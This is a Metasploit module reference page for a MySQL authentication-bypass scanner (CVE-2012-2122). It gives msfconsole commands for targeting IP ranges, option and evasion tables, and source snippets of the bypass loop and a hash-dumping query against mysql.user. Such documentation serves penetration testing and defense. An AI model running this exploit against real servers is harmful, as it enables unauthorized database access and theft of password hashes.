MySQL Authentication Bypass Password Dump - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/mysql/mysql_authbypass_hashdump metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: MySQL Authentication Bypass Password Dump
Module: auxiliary/scanner/mysql/mysql_authbypass_hashdump
Source code: modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb
Disclosure date: 2012-06-09
Last modification time: 2021-04-01 14:17:28 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 3306
List of CVEs: CVE-2012-2122

This module exploits a password bypass vulnerability in MySQL in order to extract the usernames and encrypted password hashes from a MySQL server. These hashes are stored as loot for later cracking.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf auxiliary(mysql_authbypass_hashdump) > show options
    ... show and set options ...
msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS ip-range
msf auxiliary(mysql_authbypass_hashdump) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS 192.168.1.3-192.168.1.200

Example 2:

msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS file:/tmp/ip_list.txt

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

Here is how the scanner/mysql/mysql_authbypass_hashdump auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/mysql/mysql_authbypass_hashdump

msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > show info

       Name: MySQL Authentication Bypass Password Dump
     Module: auxiliary/scanner/mysql/mysql_authbypass_hashdump
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-06-09

Provided by:
  theLightCosine <[email protected]>
  jcran <[email protected]>

Check supported:
  No

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT     3306             yes       The target port (TCP)
  THREADS   1                yes       The number of concurrent threads (max one per host)
  USERNAME  root             yes       The username to authenticate as

Description:
  This module exploits a password bypass vulnerability in MySQL in 
  order to extract the usernames and encrypted password hashes from a 
  MySQL server. These hashes are stored as loot for later cracking.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2012-2122
  OSVDB (82804)
  https://blog.rapid7.com/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql

Module Options

This is a complete list of options available in the scanner/mysql/mysql_authbypass_hashdump auxiliary module:

msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > show options

Module options (auxiliary/scanner/mysql/mysql_authbypass_hashdump):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     3306             yes       The target port (TCP)
   THREADS   1                yes       The number of concurrent threads (max one per host)
   USERNAME  root             yes       The username to authenticate as

Advanced Options

Here is a complete list of advanced options supported by the scanner/mysql/mysql_authbypass_hashdump auxiliary module:

msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > show advanced

Module advanced options (auxiliary/scanner/mysql/mysql_authbypass_hashdump):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   CHOST                                 no        The local client address
   CPORT                                 no        The local client port
   ConnectTimeout       10               yes       Maximum number of seconds to establish a TCP connection
   Proxies                               no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL                  false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                             no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode        PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion           Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress         true             yes       Display progress messages during a scan
   ShowProgressPercent  10               yes       The interval in percent that progress should be shown
   VERBOSE              false            no        Enable detailed status messages
   WORKSPACE                             no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the scanner/mysql/mysql_authbypass_hashdump module can do:

msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the scanner/mysql/mysql_authbypass_hashdump auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<RHOST>:<RPORT> Unable to login from this host due to policy (may still be vulnerable)

Here is a relevant code snippet related to the "<RHOST>:<RPORT> Unable to login from this host due to policy (may still be vulnerable)" error message:

55:	      results << x
56:	
57:	      print_good "#{rhost}:#{rport} The server accepted our first login as #{username} with a bad password"
58:	
59:	    rescue RbMysql::HostNotPrivileged
60:	      print_error "#{rhost}:#{rport} Unable to login from this host due to policy (may still be vulnerable)"
61:	      return
62:	    rescue RbMysql::AccessDeniedError
63:	      print_good "#{rhost}:#{rport} The server allows logins, proceeding with bypass test"
64:	    rescue ::Interrupt
65:	      raise $!

<RHOST>:<RPORT> Error: <E>

Here is a relevant code snippet related to the "<RHOST>:<RPORT> Error: <E>" error message:

62:	    rescue RbMysql::AccessDeniedError
63:	      print_good "#{rhost}:#{rport} The server allows logins, proceeding with bypass test"
64:	    rescue ::Interrupt
65:	      raise $!
66:	    rescue ::Exception => e
67:	      print_error "#{rhost}:#{rport} Error: #{e}"
68:	      return
69:	    end
70:	
71:	    # Short circuit if we already won
72:	    if results.length > 0

<RHOST>:<RPORT> Thread <COUNT>] caught an unhandled exception: <E>

Here is a relevant code snippet related to the "<RHOST>:<RPORT> Thread <COUNT>] caught an unhandled exception: <E>" error message:

106:	            x = ::RbMysql.connect(rhost, username, password, rport, s)
107:	            print_good "#{rhost}:#{rport} Successfully bypassed authentication after #{count} attempts. URI: mysql://#{username}:#{password}@#{rhost}:#{rport}"
108:	            results << x
109:	          rescue RbMysql::AccessDeniedError
110:	          rescue Exception => e
111:	            print_bad "#{rhost}:#{rport} Thread #{count}] caught an unhandled exception: #{e}"
112:	          end
113:	        end
114:	
115:	        cur_threads << t
116:

<RHOST>:<RPORT> Unable to bypass authentication, this target may not be vulnerable

Here is a relevant code snippet related to the "<RHOST>:<RPORT> Unable to bypass authentication, this target may not be vulnerable" error message:

141:	      print_good("#{rhost}:#{rport} Successfully exploited the authentication bypass flaw, dumping hashes...")
142:	      @mysql_handle = results.first
143:	      return dump_hashes
144:	    end
145:	
146:	    print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable")
147:	  end
148:	
149:	  def dump_hashes
150:	
151:	    # Grabs the username and password hashes and stores them as loot

<RHOST>:<RPORT> There was an error reading the MySQL User Table

Here is a relevant code snippet related to the "<RHOST>:<RPORT> There was an error reading the MySQL User Table" error message:

149:	  def dump_hashes
150:	
151:	    # Grabs the username and password hashes and stores them as loot
152:	    res = mysql_query("SELECT user,password from mysql.user")
153:	    if res.nil?
154:	      print_error("#{rhost}:#{rport} There was an error reading the MySQL User Table")
155:	      return
156:	
157:	    end
158:	
159:	    # Create a table to store data

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References

See Also

Check also the following modules related to this module:

Related Nessus plugins:

Authors

  • theLightCosine
  • jcran

Version

This page has been produced using Metasploit Framework version 6.1.29-dev. For more modules, visit the Metasploit Module Library.

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